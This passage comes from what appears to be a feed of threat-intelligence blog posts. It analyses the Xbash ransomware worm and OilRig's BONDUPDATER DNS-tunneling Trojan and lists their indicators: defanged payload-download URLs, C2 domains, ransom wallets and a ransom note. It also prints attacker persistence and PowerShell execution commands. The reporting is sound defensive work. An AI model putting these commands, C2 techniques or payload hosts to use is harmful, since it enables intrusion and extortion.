Hash	9b1a21d352ededd057ee3a965907126dd11d13474028a429d91e2349b1f00e10
Hash	c3172b403068aabc711b7cbe4d923ae1fa705ce11c4cc71271fde83ce751c21c
Folder	%LOCALAPPDATA\MicroSoft Update1
File	%LOCALAPPDATA\MicroSoft Update1\svServiceUpdate.exe
File	%TEMP%\uplog.tmp
File	%STARTUP%\Antdule.lnk
File	%TEMP%\ID56SD.tmp
File	%TEMP%\svchostav.exe
URL	hxxp://mail.[removed].co[.]kr/de/de_includes/mail/yandex.ru/download.php

April 2018 Attack

Indicator Type	Indicator
Hash	07b90088ec02ef6757f6590a62e2a038ce769914139aff1a26b50399a31dcde9
Hash	d5fc0ef2d1ed037b5b6389882f9bb4ea15a6b41f21cdc0f5e90752f4e687445c
Folder	%LOCALAPPDATA\MicroSoft Update1
File	%LOCALAPPDATA\MicroSoft Update1\svServiceUpdate.exe
File	%TEMP%\uplog.tmp
File	%STARTUP%\Antdule.lnk
File	%TEMP%\ID56SD.tmp
File	%TEMP%\svchostav.exe
URL	hxxp://mail.[removed].co[.]kr/de/de_includes/mail/yandex.ru/download.php
IP Address	210.112.239[.]74

Early April 2018 Attack

Indicator Type	Indicator
Hash	9bf634ff0bc7c69ffceb75f9773c198944d907ba822c02c44c83e997b88eeabd
Hash	c07bea0928a35b9292eebab32563378d01d95434d098e5c7c076e94866a14212
Folder	%LOCALAPPDATA\MicroSoft Update1
File	%LOCALAPPDATA\MicroSoft Update1\svServiceUpdate.exe
File	%TEMP%\uplog.tmp
File	%STARTUP%\Antdule.lnk
File	%TEMP%\ID56SD.tmp
File	%TEMP%\svchostav.exe
URL	hxxp://mail.[removed].co[.]kr/de/de_includes/mail/yandex.ru/download.php
IP Address	141.223.125[.]112

January 2018 Attack

Indicator Type	Indicator
Hash	b8120d5c9c2c889b37aa9e37514a3b4964c6e41296be216b327cdccd2e908311
Hash	0d98ca35b29d2a9f7ca6908747c457ebdba999f0e83e182f770848e2335ade5b
Folder	%LOCALAPPDATA\MicroSoft Update1
File	%LOCALAPPDATA\MicroSoft Update1\svServiceUpdate.exe
File	%TEMP%\uplog.tmp
File	%STARTUP%\Antdule.lnk
File	%TEMP%\ID56SD.tmp
File	%TEMP%\svchostav.exe
URL	hxxp://mail.[removed].co[.]kr/de/de_includes/mail/yandex.ru/download.php
IP Address	101.129.1[.]104

Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows

Posted on September 17, 2018March 24, 2022 by Claud Xiao

Executive Summary:

Unit 42 researchers have found a new malware family that is targeting Linux and Microsoft Windows servers that we have named XBash. We can tie this malware to the Iron Group, a threat actor group known for ransomware attacks in the past.

Xbash has ransomware and coinmining capabilities.

It also has self-propagating capabilities (meaning it has worm-like characteristics similar to WannaCry or Petya/NotPetya). It also has capabilities not currently implemented that, when implemented, could enable it to spread very quickly within an organizations’ network (again, much like WannaCry or Petya/NotPetya).

Xbash spreads by attacking weak passwords and unpatched vulnerabilities.

Xbash is data-destructive; destroying Linux-based databases as part of its ransomware capabilities. We can also find NO functionality within Xbash that would enable restoration after the ransom is paid.

This means that, like NotPetya, Xbash is data destructive malware posing at ransomware.

Organizations can protect themselves against Xbash by:

Using strong, non-default passwords
Keeping up-to-date on security updates
Implementing endpoint security on Microsoft Windows AND Linux systems
Preventing access to unknown hosts on the internet (to prevent access to command and control servers)
Implementing and maintaining rigorous and effective backup and restoration processes and procedures.

Palo Alto Networks customers are protected against this threat as outlined at the end of this blog.

Below are some more specifics on Xbash’s capabilities:

It combines botnet, coinmining, ransomware and self-propagation.
It targets Linux-based for its ransomware and botnet capabilities.
It targets Microsoft Windows-based systems for its coinmining and self-propagating capabilities.
The ransomware component targets and deletes Linux-based databases.
To date, we have observed 48 incoming transactions to these wallets with total income of about 0.964 bitcoins meaning 48 victims have paid about US$6,000 total (at the time of this writing).
However, as see no evidence that the paid ransoms have resulted in recovery for the victims.
In fact, we can find no evidence of any functionality that makes recovery possible through ransom payment.
Our analysis shows this is likely the work of the Iron group, a group publicly linked to other ransomware campaigns including those that use the Remote Control System (RCS), whose source code was believed to be stolen from the HackingTeam in 2015.

Research:

Recently Unit 42 used WildFire to identify a new malware family targeting Linux servers. After further investigation we realized it’s a combination of botnet and ransomware that developed by an active cybercrime group Iron (aka Rocke) in this year. We have named this new malware “Xbash”, based on the name of the malicious code’s original main module.

Previously the Iron group developed and spread cryptocurrency miners or cryptocurrency transaction hijacking trojans mainly for Microsoft Windows and only a few for Linux. Instead, Xbash aimed on discovering unprotected services, deleting victim’s MySQL, PostgreSQL and MongoDB databases, and ransom for Bitcoins. Xbash uses three known vulnerabilities in Hadoop, Redis and ActiveMQ for self-propagation or infecting Windows system.

Other new technical characteristics in Xbash that are worth noting:

Developed in Python: Xbash was developed using Python and then converted into self-contained Linux ELF executables by abusing the legitimate tool PyInstaller for distribution.
Targets IP addresses and Domain Names: Modern Linux malware such as Mirai or Gafgyt usually generate random IP addresses as scanning destinations. By contrast, Xbash fetches from its C2 servers both IP addresses and domain names for service probing and exploiting.
Targets Windows and Linux: When exploiting vulnerable Redis service, Xbash will also figure out whether the service is running on Windows or not. If so, it will send malicious JavaScript or VBScript payload for downloading and executing a coinminer for Windows.
Intranet Scanning Functionality: The Xbash authors have developed the new capability of scanning for vulnerable servers within enterprise intranet. We see this functionality in the samples but, interestingly, it has not been enabled that we can see.

We have discovered four different versions of Xbash so far. Code and timestamp differences among these versions show that it’s still under active development. The botnet began to operate since as early as May 2018. Thus far, we’ve observed 48 incoming transactions to the Bitcoin wallet addresses used by the malware, which may indicate 48 victims of its ransom behavior.

In the rest of this blog, we will introduce more technical details of these behaviors, and introduce how Palo Alto Networks products prevent the threat.

Technical Details

From Python Code to Native Executable

In a previous blog from 2016, Unit 42 revealed a Windows malware being developed by Python and being converted to PE executable by PyInstaller. All four versions of Xbash that we discovered also used this technique. Based on this, we believe the malware authors gain many benefits:

Faster Development: Developing in Python can be easier and faster than in C, C++ or Go: therefore it can enable faster, iterative development which enables the malware’s faster evolution (and can enable faster counter-counter-measures as well).
Easy, Assured Installation: PyInstaller creates self-contained native executables which include all necessary dependencies including Python runtime, libraries,user and third-party libraries. Given the diversity of Linux installations and environments, the attackers cannot be sure that Python-based malware would install and run successfully. By packaging in a self-contained native executable like this, ensures that the malware will successfully install on the target systems.
Anti-Detection Capabilities: PyInstaller’s code compilation, code compression/conversion, and optional code encryption together work to obfuscate the indicators of malicious behavior. This obfuscation helps the malware to defeat detection by antivirus/antimalware engines or static analysis. At the time of this writing, we observed a 1/57 detection rate for Xbash in VirusTotal as shown in Figure 1.
Cross-Platform Malware: PyInstaller supports creating binaries for Windows, Apple macOS and Linux from the same Python code: this enables the malware to be truly cross-platform (though at the time of this writing we have not found any Windows or macOS versions of Xbash).

Figure 1 Detection Rate of Xbash as shown on VirusTotal

Through manual reverse engineering, we were able to extract the main malicious Python modules from the Xbash executables and decompile them successfully. Therefore, in the later sections of this analysis, we show the Python source code.

C2 Communication

Xbash hard-coded a bunch of domain names as its C2 servers. It also fetches a webpage hosted on Pastebin (listed in the IOCs) to update the C2 domain list. Some of these C2 domains are reused from previous Windows coinminers attributed to Iron cybercrime group.

All C2 communications were based on HTTP protocol. We found three kinds of C2 traffic:

One for fetching a list of IP addresses or domains for scanning
One for fetching a list of weak passwords, in addition of using hard-coded passwords
One for reporting scan results

Three types of URIs were used to fetch scanning targets:

/domain/phpmyadmin or /domain/all: to get a list of domains for scanning of vulnerable or unprotected web services such as phpMyAdmin.
/port/tcp8080, /port/udp1900, etc.: to get a list of IP addresses for scanning of their specific TCP or UDP port
/cidir, to get a list of CIDR of IP addresses for popular ports/services scanning.

Through a still alive C2 domain, we were able to get 1,000 domains, 1,000 IP addresses, or a /22 CIDR per request, respectively as shown in Figure 2. We found that different requests will return different results, showing that the C2 servers were dynamic dispatching tasks to different bots. We randomly chose some domains and didn’t find any specific region or industry targeted. And, the targeted domains are not in the Alexa top one million domains list.

Figure 2 Xbash fetched domains from C2 server for further scanning

Popular Linux botnets such as Mirai and Gafgyt usually only scan IP addresses. Xbash represents a next-stage evolution of Linux botnets by extending the targets to public websites by targeting domains as well as IP address. This also makes deploying a honeypot to observe Xbash challenging since honeypots are usually deployed with IP addresses only. While it may not be an intentional step, the inclusion of domain targeting has an anti-analysis benefit for the attackers.

Besides of fetching a list of scanning targets, Xbash will also request C2 server via URI “/p” to fetch a list of weak passwords for brute forcing.

After Xbash has scanned a target and successfully found specific opening ports, weak credentials or exploitable, unpatched vulnerability, it will report the result to a random C2 server via HTTP POST to URI “/c”.

Service Probing and Brute Forcing

If the scanning target is an IP address, Xbash will try to scan many TCP or UDP ports. Here are part of services they’re probing and the ports used:

HTTP: 80, 8080, 8888, 8000, 8001, 8088
VNC: 5900, 5901, 5902, 5903
MySQL: 3306
Memcached: 11211
MySQL/MariaDB: 3309, 3308,3360 3306, 3307, 9806, 1433
FTP: 21
Telnet: 23, 2323
PostgreSQL: 5432
Redis: 6379, 2379
ElasticSearch: 9200
MongoDB: 27017
RDP: 3389
UPnP/SSDP: 1900
NTP: 123
DNS: 53
SNMP: 161
LDAP: 389
Rexec: 512
Rlogin: 513
Rsh: 514
Rsync: 873
Oracle database: 1521
CouchDB: 5984

For some services, such as VNC, Rsync, MySQL, MariaDB, Memcached, PostgreSQL, MongoDB, and phpMyAdmin, if a related port is open, it will use a built-in weak username/password dictionary and try to login into the service as shown in Figure 3. The dictionary also contains common or default passwords for services like Telnet, FTP, and Redis.

Figure 3 Xbash tries to brute force services such as Rsync

Delete Databases and Ransom

If Xbash successfully login into a service including MySQL, MongoDB, and PostgreSQL, it will delete almost all existing databases in the server (except for some databases that stored user login information), create a new database named “PLEASE_READ_ME_XYZ”, and leave a ransom message into table “WARNING” of the new database, as shown in Figure 4 and Figure 5.

Send 0.02 BTC to this address and contact this email with your website or your ip or db_name of your server to recover your database! Your DB is Backed up to our servers!If we not received your payment,we will leak your database

1jqpmcLygJdH8fN7BCk2cwwNBRWqMZqL1

backupsql@pm.me

Figure 4 Xbash create ransom message into MySQL database via phpMyAdmin

Figure 5 New database, table and ransome message created by Xbash

If Xbash logged into a phpMyAdmin service, it will do exactly the same operations as above to those databases too, via sending HTTP requests to phpMyAdmin. This is because the phpMyAdmin service is usually managing some MySQL databases.

It’s important to note that, the database name, table name, table schema, and the ransom message used by Xbash are almost identical with some incidents within multiple waves of ransom attacks to MySQL, MongoDB, ElasticSearch, Hadoop, CouchDB, Cassandra, Redis, AWS S3, etc. at 2016 and 2017, which have compromised over 56,685 servers in the globe by report. The only changes in Xbash are:

Database name changed from PLEASE_READ_ME to PLEASE_README_XYZ
Bitcoins they’re asking for reduced from 0.2 BTC or 0.15 BTC to0.02 BTC
Bitcoin wallet address and email address changed
This time a blackmail phrase was added into the message: “If we not received your payment,we will leak your database”

Thus far, we have observed three different bitcoin wallet addresses hard-coded in the Xbash samples. Since May 2018, there are 48 incoming transactions to these wallets with total income of about 0.964 bitcoins (about US$6,000 at the time of this writing). Figure 5 shows one of the wallets. Also, note that the funds are being withdrawn, showing us that the attackers are actively collecting their ransom.

Figure 6 Incoming transactions to one of bitcoin wallets

However, as is so often the case, we see no evidence that the attackers are actually making good on their “promise” and helping the victims restore their deleted databases. In fact, contrary to the ransom note, we found NO evidence of code in Xbash that backs up the deleted databases at all.

Exploit for Propagation

When Xbash finds a destination has Hadoop, Redis or ActiveMQ running, it will also attempt to exploit the service for self-propagation. Three known vulnerabilities are targeted:

Hadoop YARN ResourceManager unauthenticated command execution, which was first disclosed in October 2016 and has no CVE number assigned.
Redis arbitrary file write and remote command execution, which was first disclosed in October 2015 and has no CVE number assigned. This is shown below in Figure 6.
ActiveMQ arbitrary file write vulnerability, CVE-2016-3088.

Figure 7 Xbash exploiting Redis vulnerability

When the exploit succeeds, Xbash will either directly execute a shell command to download and to run malicious Shell or Python scripts, or create new cron job to do the same, again as shown in Figure 6. The malicious scripts were downloaded from the same C2 servers as Xbash used. In either instance, their main functions are to kill other popular Coinminers, download Coinminers developed by the Iron cybercrime group, and download Xbash itself onto the target system for further propagation.

The net of this is that Xbash targets and uses vulnerable Hadoop, Redis or ActiveMQ systems both to run the attackers’ coinminer AND propagate Xbash within the environment.

Infecting Windows Servers

Another notable feature of Xbash is the way it uses Redis and an HTTP service to determine if the vulnerable Redis service is installed on Linux or Microsoft Windows. If the destination being scanned has both vulnerable Redis service and a HTTP service running, Xbash will try to use information leaked by the Redis vulnerability to guess HTTP web server’s installation location. Xbash then uses the location to guess which operating system (Linux or Windows) the destination is running as shown in Figure 7.

Figure 8 Web server paths Xbash used to determine operating system

If it believes it’s found a Windows server, Xbash will exploit the Redis vulnerability to create a Windows startup item (as shown in Figure 6), instead of a Linux cronjob. Depends on Xbash’s version, this new startup item will download a malicious HTML or a Scriptlet file from Xbash’s C2 server, and to execute the JavaScript or VBScript code in the file via “mshta” or via “regsvr32”. These scripts will then invoke PowerShell to download a malicious PE executable or PE DLL file from the same C2 server for execution as shown in Figure 8.

Figure 8 Malicious JavaScript code to be executed in vulnerable Windows server (with comments)

Through our investigation we found that these malicious PE files were coinminer or ransomware developed by the Iron cybercrime group as shown in Figure 9.

Figure 9 AutoFocus associated the malicious PE file with Iron cybercrime group

Targeting Enterprise Intranet

In all versions of Xbash we found, there is a Python class named “LanScan”. Its functions are to get local intranet information, generate a list of all IP addresses within the same subnet, and to perform port scanning to all these IPs as shown in figure 10. It appears that during its evolution, the author was adding more ports to this piece of code. However, the code was inert and unutilized: it is still standalone and yet to be connected with the main part of the code. We believe the author may enable this functionality in coming versions.

Figure 10 Generate list of IP addresses in victim’s subnet and perform port scanning

In an enterprise network (including office network and datacenter or private cloud), there are usually more servers providing services internally than to public. And these services are also more likely unprotected or configured with weak password. The chance of find vulnerable services within Intranet is much higher than over Internet. We believe that is the main motivation of Xbash’s Intranet scanning code. If events like WannaCry and NotPetya are any guide, this intranet functionality could make Xbash even more devastating once it’s enabled.

Conclusions

Xbash is a novel and complex Linux malware and the newest work of an active cybercrime group. From its characteristics and behaviors, we could realize many trends in current IoT/Linux security battleground:

Attackers are expanding their profit-making ways from mining cryptocurrency to hijacking or ransom for cryptocurrency
Attackers are expanding territory by scanning domain names and by attacking enterprise Intranet
Attackers are looking for more potential victims by gathering more and more vulnerabilities from everywhere, no matter whether the vulnerability is new or old, and no matter whether it’s famous or not (a CVE number was assigned or not)
Attackers are to toward cross-platform attacks and quick evolution
Different types of script files are important actors between exploiting and malware execution

Palo Alto Networks customers are protected from this threat:

WildFire detected Xbash for Linux as well as the dropped CoinMiner for Windows
ELF and PE format malware’s signatures have been released via Antivirus
All involved malicious domains have been covered by PAN-DB URL Filtering
All three vulnerabilities exploit by Xbash have been covered by Threat Prevention (39786, 39787, 54654, 54655)
Xbash C2 traffic have been covered by Threat Prevention too (18474, 18475, 18476)
An AutoFocus tag has been created for tracking this attack.

Indicators of Compromise

Samples for Linux

7a18c7bdf0c504832c8552766dcfe0ba33dd5493daa3d9dbe9c985c1ce36e5aa zlibx

0b9c54692d25f68ede1de47d4206ec3cd2e5836e368794eccb3daa632334c641 Xbash

dbc380cbfb1536dfb24ef460ce18bccdae549b4585ba713b5228c23924385e54 xapache

5b790f02bdb26b6b6b270a5669311b4f231d17872aafb237b7e87b6bbb57426d libhttpd

e59be6eec9629d376a8a4a70fe9f8f3eec7b0919019f819d44b9bdd1c429277c XbashX

f808a42b10cf55603389945a549ce45edc6a04562196d14f7489af04688f12bc XbashY

dcd37e5b266cc0cd3fab73caa63b218f5b92e9bd5b25cf1cacf1afdb0d8e76ff rootv2.sh

de63ce4a42f06a5903b9daa62b67fcfbdeca05beb574f966370a6ae7fd21190d lowerv2.sh

09968c4573580398b3269577ced28090eae4a7c326c1a0ec546761c623625885 rootv2.sh

a27acc07844bb751ac33f5df569fd949d8b61dba26eb5447482d90243fc739af r88.sh

Samples for Windows

f888dda9ca1876eba12ffb55a7a993bd1f5a622a30045a675da4955ede3e4cb8 tt.txt

31155bf8c85c6c6193842b8d09bda88990d710db9f70efe85c421f1484f0ee78 tg.jpg

725efd0f5310763bc5375e7b72dbb2e883ad90ec32d6177c578a1c04c1b62054 reg9.sct

d7fbd2a4db44d86b4cf5fa4202203dacfefd6ffca6a0615dca5bc2a200ad56b6 m.png

ece3cfdb75aaabc570bf38af6f4653f73101c1641ce78a4bb146e62d9ac0cd50 tmp.jpg

Downloading URLs

hxxp://3g2upl4pq6kufc4m[.]tk/zlibx

hxxp://e3sas6tzvehwgpak[.]tk/XbashY

hxxp://3g2upl4pq6kufc4m[.]tk/XbashY

hxxp://3g2upl4pq6kufc4m[.]tk/xapache

hxxp://3g2upl4pq6kufc4m[.]tk/libhttpd

hxxp://xmr.enjoytopic[.]tk/l/rootv2.sh

hxxp://xmr.enjoytopic[.]tk/l2/rootv2.sh

hxxp://xmr.enjoytopic[.]tk/l/r88.sh

hxxp://xmr.enjoytopic[.]tk/12/r88.sh

hxxp://e3sas6tzvehwgpak[.]tk/lowerv2.sh

hxxp://3g2upl4pq6kufc4m[.]tk/r88.sh

hxxp://e3sas6tzvehwgpak[.]tk/XbashY

hxxp://e3sas6tzvehwgpak[.]tk/XbashX

hxxp://png.realtimenews[.]tk/m.png

hxxp://daknobcq4zal6vbm[.]tk/tt.txt

hxxp://d3goboxon32grk2l[.]tk/reg9.sct

Domains for C2 Communication

ejectrift.censys[.]xyz

scan.censys[.]xyz

api.leakingprivacy[.]tk

news.realnewstime[.]xyz

scan.realnewstime[.]xyz

news.realtimenews[.]tk

scanaan[.]tk

scan.3g2upl4pq6kufc4m[.]tk

scan.vfk2k5s5tfjr27tz[.]tk

scan.blockbitcoin[.]tk

blockbitcoin[.]com

IPs for C2 Communication

142.44.215[.]177

144.217.61[.]147

URLs for C2 Domain Updating

hxxps://pastebin[.]com/raw/Xu74Mzif

hxxps://pastebin[.]com/raw/rBHjTZY6

Bitcoin Wallet Addresses in Ransom Messages

1Kss6v4eSUgP4WrYtfYGZGDoRsf74M7CMr

1jqpmcLygJdH8fN7BCk2cwwNBRWqMZqL1

1ExbdpvKJ6M1t5KyiZbnzsdQ63SEsY6Bff

Email Addresses in Ransom Messages

backupsql@protonmail[.]com

backupsql@pm[.]me

backupdatabase@pm[.]me

OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government

Posted on September 12, 2018August 1, 2024 by Kyle Wilhoit

The OilRig group has been active since at least mid-2016, and continues their attack campaigns throughout the Middle East, targeting both governmental agencies and businesses on an almost routine basis. Often preferring homegrown tools and malware, OilRig continually modifies their malware and tools to accomplish their objectives. In August 2018, Unit 42 observed OilRig targeting a government organization using spear-phishing emails to deliver an updated version of a Trojan known as BONDUPDATER. BONDUPDATER is a PowerShell-based Trojan first discovered by FireEye in mid-November 2017, when OilRig targeted a different Middle Eastern governmental organization.

The BONDUPDATER Trojan contains basic backdoor functionality, allowing threat actors to upload and download files, as well as the ability to execute commands. BONDUPDATER, like other OilRig tools, uses DNS tunneling to communicate with its C2 server. During the past month, Unit 42 observed several attacks against a Middle Eastern government leveraging an updated version of the BONDUPDATER malware, which now includes the ability to use TXT records within its DNS tunneling protocol for its C2 communications.

A New Series of Attacks

In mid-August, the Oilrig threat group sent what appeared to be a highly targeted phishing email to a high-ranking office in a Middle Eastern nation. The email had no subject and what initially drew our attention to this attack was the content of the spear phishing email.

Figure 1. Spear phishing email sent by the Oilrig threat group

Attached to the email was a malicious document named “N56.15.doc” (SHA256: 7cbad6b3f505a199d6766a86b41ed23786bbb99dab9cae6c18936afdc2512f00) which contained a macro that attempted to install a new version of the BONDUPDATER Trojan.

Figure 2. Microsoft Word document with embedded macros and PowerShell

Updated BONDUPDATER

The spear-phishing email had an attached Microsoft Word document that contained a macro responsible for installing a new variant of BONDUPDATER. The macro begins this installation process by creating two files on the system at the following location:

C:\ProgramData\WindowsAppPool\AppPool.vbs (SHA256: c0018a2e36c7ef8aa15b81001a19c4127ad7cd21ae410c1f854e5dadfa98b322)

C:\ProgramData\WindowsAppPool\AppPool.ps1 (SHA256: d5c1822a36f2e7107d0d4c005c26978d00bcb34a587bd9ccf11ae7761ec73fb7)

The macro finishes by running the dropped VBScript "AppPool.vbs" file by running "wscript C:\ProgramData\WindowsAppPool\AppPool.vbs". When first executed, the "AppPool.vbs" file will create the following scheduled task to execute every minute, which provides BONDUPDATER persistence and the ability to continually run on the system as the Trojan does not have a main loop to carry out its functionality:

cmd.exe /C schtasks /create /F /sc minute /mo 1 /tn "\WindowsAppPool\AppPool" /tr "wscript /b "C:\ProgramData\WindowsAppPool\AppPool.vbs""

After creating the scheduled task, the VBScript will execute the "AppPool.ps1" script dropped by the macro using the following command line:

PowerShell.exe -exec bypass -file C:\ProgramData\WindowsAppPool\AppPool.ps1

Subsequent executions of "AppPool.vbs" will check for the existence of a file named "quid", which, if present, will also use the above PowerShell script to run "AppPool.ps1". The PowerShell script creates the "quid" file upon its first execution to avoid creating multiple scheduled tasks.

The "AppPool.ps1" file is a PowerShell script that is a variant of the BONDUPDATER payload. BONDUPDATER, like other OilRig payloads, uses DNS tunneling to communicate with its C2 server. This variant of the BONDUPDATER Trojan has a new lock file, which involves creating a lock file at the following location which will write the current PowerShell process identifier (PID) to this file:

C:\ProgramData\WindowsAppPool\lock

The purpose of this lock file is to only have one instance of the Trojan running at one time. However, it also uses this lock file to determine how long the PowerShell process has been executing, as it checks the creation time of the file lock against the current time to determine if the PowerShell process has been running for more than ten minutes. If it has, the script will stop the process based on the PID in the lock file and delete the lock file. Future executions of the PowerShell script will fully execute as the lock file will no longer exist on the system. This suggests the threat actors may have experienced issues with this Trojan running for extended periods in the past, likely related to the communication loops that we will discuss later.

This BONDUPDATER variant also creates the following file that it will use to store a unique identifier for the system, which is generated by obtaining a random number between 10 and 99 and appending the first 8 characters of a generated GUID:

C:\ProgramData\WindowsAppPool\quid

The BONDUPDATER Trojan then creates several folders that it will use to store files it receives from the C2 server and files that it generates or gathers to send to the C2 server. The folder names are:

C:\ProgramData\WindowsAppPool\files

C:\ProgramData\WindowsAppPool\<unique ID from quid file>\receivebox

C:\ProgramData\WindowsAppPool\<unique ID from quid file>\sendbox

C:\ProgramData\WindowsAppPool\<unique ID from quid file>\done

Even though the script creates the "files" folder, it does not appear that the Trojan uses these folders within the code. The Trojan uses the "receivebox" folder to store files obtained from the C2 server, while the "sendbox" folder is used to store files that the Trojan will upload to the server. The Trojan uses the filenames of the file received from the C2 server stored in the "receivebox" folder to determine how to handle the file, which is explained below.

The BONDUPDATER sample retains its original command handling and C2 communication functionality. This process involves communicating with the C2 server to receive a file and using a character in the filename as the command. The Trojan's command handler checks the trailing character of the filename to process the file contents, which can be seen in Table 1.

Trailing Character/Command	Purpose	Description
0	Execute command	Reads the contents of the file and runs them as a command with "cmd.exe". The output of the command is saved to a file whose name starts with "proc" and is stored in the "sendbox" folder, which the Trojan will send to the C2 server.
1	Download file	Reads the contents of the file for a path to a file to download. Copies the specified file to a file in the "sendbox" folder for the Trojan to send to the C2 server.
Any other character	Upload file	Used to store a file on the system. The file is moved to the "done" folder, which stores the file for future use. The Trojan writes "200<>[path to stored file]" to a file in the "sendbox" folder to notify the C2 that the file was downloaded successfully.

Table 1 Commands available in BONDUPDATER and their purpose

After handling the command, BONDUPDATER will send files it saved in the "sendbox" folder to the C2 server, after which it terminates and relies on the scheduled task to run again in the future.

As discussed above, the BONDUPDATER Trojan uses a DNS tunneling protocol to receive files from the C2 server for processing. This particular BONDUPDATER sample includes two different variations of the DNS tunneling protocol, one using DNS A records, and one using DNS TXT records to transmit data from the C2 to the Trojan. The use of TXT records for C2 communications appears to be a new feature to the BONDUPDATER Trojan.

The DNS tunneling protocol uses carefully crafted subdomains sent to the authoritative name server of the C2 domain, which in this specific sample was the domain "withyourface[.]com". The Trojan generates subdomains differently when it sends data to the C2 compared to when it is looking to receive data from the C2, regardless of which DNS tunneling protocol is used for communications. The format of the generated domains for both sending and receiving starts with the previously generated GUID created to uniquely identify the system. However, the Trojan inserts a part number value and an action type character into this GUID string at random offsets. The part number value is a three-digit string that corresponds to the chunk of data the Trojan is attempting to transmit. The action type is a single character that notifies the C2 the type of communication the Trojan is carrying out. The two static characters "C" and "T" in the subdomain surround two digits, which help the C2 server find the part number and action type mixed in within the GUID string at random offsets.

Sending data format

Receiving data format

Depending on whether the C2 communications use DNS A or TXT records, different action types are used when generating the subdomains to notify the C2 what format to use to respond. Table 2 shows action types used in outbound requests and the purpose of the request.

Action Type	A/TXT Communications	Description
M	A/TXT	Initial beacon
0	A	Provide filename
1	A	Provide data
W	TXT	Provide filename
D	TXT	Provide data
P	TXT	TXT method failed, notify C2 to switch to A records

Table 2 Action types used within the DNS tunneling protocol and their purpose

For example, the Trojan will begin communicating with its C2 server by sending an initial beacon with the action character "M". This initial beacon will follow the receiving format, as seen in the following example:

Figure 3. Example domain for the C2 beacon with its format explained

The offset to the part number and action type in the GUID above may not seem correct at first, as the action type does not appear to be at offset 8 in the string. However, this is correct, as the action type is inserted at offset 8 before the part number was inserted at offset 3. Therefore, we believe the C2 server just adds the two offsets together to find the actual location of the action type in the string.

Original Data Transfer using DNS Tunneling

The original data transfer process within BONDUPDATER looked for specific A records within answers to DNS queries, shown in Table 3. The Trojan processed the A records in the C2 response to obtain a filename, which specifically looks for an IPv4 address within the A record with "24.125" in the first two octets. The Trojan appends the remaining two octets of this A record to the string "rcvd" and uses this as the filename to save future data to in the "receivebox" folder. This IP address also instructs the Trojan to treat following DNS A records as data. The following DNS A records are split on the "." and each of the first three octets are treated as data, whereas the fourth octet is used as a counter to obtain the correct chunk of data. Lastly, the Trojan looks for the A record "1.2.3" as a signal to write the provided data to the specified file, which is then subjected to the previously mentioned file-based command handler.

IP Address	Description
24.125.\d.\d	Sets the filename "rcvd\d\d" in the "receivebox" to store data for processing
\d.\d.\d.\d	First three \d are treated as data and the fourth is used to keep track of the sequence
1.2.3.\d	Instructs the Trojan to write the data to the file and begin processing it for commands.

Table 3 IP Addresses and their meanings within the original data transfer process in BONDUPDATER

New Data Transfer using DNS Tunneling

This BONDUPDATER sample has a new method to obtain files from the C2 server using a series of DNS TXT queries. This method follows a similar process as the original method but uses DNS TXT results to obtain a filename and the data to write to the file. Once data is written to the file system, this method uses the same command handler as the original method to process the contents of the file based on the trailing character of the filename, as seen in Table 1.

The C2 can initiate the new command handling functionality by responding to the initial beacon with a DNS A record of "99.250.250.199". The script will enter a loop attempting to communicate with its C2 every 50 milliseconds, looking for a series of responses with specific characters that the script will use as instructions to determine how to handle the result of the TXT record, which can be seen in Table 4. The Trojan will split each TXT record from the C2 response on the character ">", with the data to the left of the ">" character used as the instruction and the data to the right as the data.

Instruction	Description
N	Idle. Set action type of next query to "W"
S	Receive data from C2. Decode data portion as base64. Sets the action type of future queries to the C2 to "D".
S000s	Use data to as a portion of the filename to save data to. The data is appended to the string "rcvd", which will be saved in the "receivebox" folder. Sets the action type of future queries to the C2 to "D".
E	Write bytes provided by the "S" command to the file resulting from the "S000s" command. The breaks the loop for the script to process the downloaded file.
C	Cancel communications by exiting the loop.

Table 4 Instructions within the new data transfer process in BONDUPDATER and their meanings

While we have not seen the C2 use this TXT record-based communications, we believe the process would involve the C2 providing a TXT record with the "S000s" instruction to set the filename to which data is saved. The C2 would then provide a series of "S" instructions to provide data, followed by the "E" instruction to write that data to the file, which would then be subjected to the command handler.

Conclusion

As expected, OilRig is continuing their onslaught of attacks well into 2018 with continued targeting in the Middle East. Sometimes developing new tools, OilRig also often uses what has worked in the past, including developing variants of previously used tools and malware. This reduces development time and capitalizes on previous versions of the tool and its success.

Oilrig is a highly diverse and very resourceful threat actor, employing a litany of methods and tools to compromise victims, but Palo Alto Networks customers are protected from this OilRig attack and BONDUPDATER by:

AutoFocus customers can track this Trojan with the Bondupdater_Docs tag
All known BONDUPDATER document samples are marked with malicious verdicts in WildFire
All known BONDUPDATER document C2 domains have DNS signatures and are classified as Command and Control

Indicators

BONDUPDATER C2

withyourface[.]com

BONDUPDATER Dropper Docs

7cbad6b3f505a199d6766a86b41ed23786bbb99dab9cae6c18936afdc2512f00

c0018a2e36c7ef8aa15b81001a19c4127ad7cd21ae410c1f854e5dadfa98b322

d5c1822a36f2e7107d0d4c005c26978d00bcb34a587bd9ccf11ae7761ec73fb7

Multi-exploit IoT/Linux Botnets Mirai and Gafgyt Target Apache Struts, SonicWall

Posted on September 9, 2018September 17, 2018 by Ruchna Nigam

Executive Summary:

Unit 42 has uncovered new variants of the well-known IoT botnets Mirai and Gafgyt. These are the IoT botnets associated with unprecedented Distributed Denial of Service attacks in November 2016 and since.

These variants are notable for two reasons:

The new Mirai version targets the same Apache Struts vulnerability associated with the Equifax data breach in 2017.
The new Gafgyt version targets a newly disclosed vulnerability affecting older, unsupported versions of SonicWall’s Global Management System (GMS).

These developments suggest these IOT botnets are increasingly targeting enterprise devices with outdated versions.

All organizations should ensure they keep not only their systems up-to-date and patched, but also their IoT devices. For Palo Alto Networks customers, WidlFire detects all related samples with malicious verdicts. Additional protections are noted in the conclusion below.

Research:

On September 7, 2018, Unit 42 found samples of a Mirai variant that incorporates exploits targeting 16 separate vulnerabilities. While the use of multiple exploits within a single sample of Mirai has been observed in the past, this is the first known instance of Mirai targeting a vulnerability in Apache Struts.

In addition, Unit 42 found the domain that is currently hosting these Mirai samples previously resolved to a different IP address during the month of August. During that time this IP was intermittently hosting samples of Gafgyt that incorporated an exploit against CVE-2018-9866 a SonicWall vulnerability affecting older versions of SonicWall Global Management System (GMS). SonciWall has been notified of this development.

The incorporation of exploits targeting Apache Struts and SonicWall by these IoT/Linux botnets could indicate a larger movement from consumer device targets to enterprise targets.

Apache Struts exploit in multi-exploit Mirai variant

